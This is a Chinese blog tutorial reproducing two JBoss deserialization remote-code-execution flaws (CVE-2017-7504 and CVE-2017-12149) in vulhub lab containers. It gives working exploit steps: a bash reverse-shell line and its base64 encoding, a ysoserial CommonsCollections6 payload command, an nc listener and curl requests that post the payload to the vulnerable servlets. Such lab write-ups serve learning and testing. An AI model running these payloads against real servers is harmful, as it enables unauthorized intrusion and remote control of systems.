(五)vulhub专栏:Jboss远程代码执行漏洞复现

Jboss远程代码执行漏洞(CVE-2017-7504)

影响范围

JBoss AS 4.x及之前版本

漏洞成因

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞利用

环境准备
名称IP
攻击机192.168.75.162
靶机192.168.75.146

首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8080即可

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

image-20220713161234174

漏洞复现

首先准备好生成payload的工具:ysoserial.jar

然后准备好反弹shell的命令,需要对其进行base64加密

//反弹shell命令,注意替换为自己的
bash -i >& /dev/tcp/192.168.75.162/6666 0>&1
//base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=
java  -jar  ysoserial.jar  CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

执行完上述命令会生成一个poc.ser文件,接下来新打开一个cmd窗口执行以下命令:

nc -lvvp 6666

监听启动后再执行下述指令:

curl http://192.168.75.146:8080/jbossmq-httpil/HTTPServerILServlet  --data-binary @poc.ser

可以看到如下图,反弹shell成功,此漏洞利用成功

image-20220719155108963

Jboss远程代码执行漏洞(CVE-2017-12149)

影响范围

漏洞影响5.x和6.x版本的JBOSSAS

漏洞成因

该漏洞为Java反序列化错误类型,存在于jboss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

漏洞利用

环境准备
名称IP
攻击机192.168.75.162
靶机192.168.75.146

首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8080即可

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

image-20220713161234174

漏洞复现

首先准备好生成payload的工具:ysoserial.jar

然后准备好反弹shell的命令,需要对其进行base64加密

//反弹shell命令,注意替换为自己的
bash -i >& /dev/tcp/192.168.75.162/6666 0>&1
//base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=
java  -jar  ysoserial.jar  CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

执行完上述命令会生成一个poc.ser文件,接下来新打开一个cmd窗口执行以下命令:

nc -lvvp 6666

监听启动后再执行下述指令:

curl http://192.168.75.146:8080/invoker/readonly --data-binary @poc.ser

可以看到如下图,反弹shell成功,此漏洞利用成功

image-20220713162425091

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值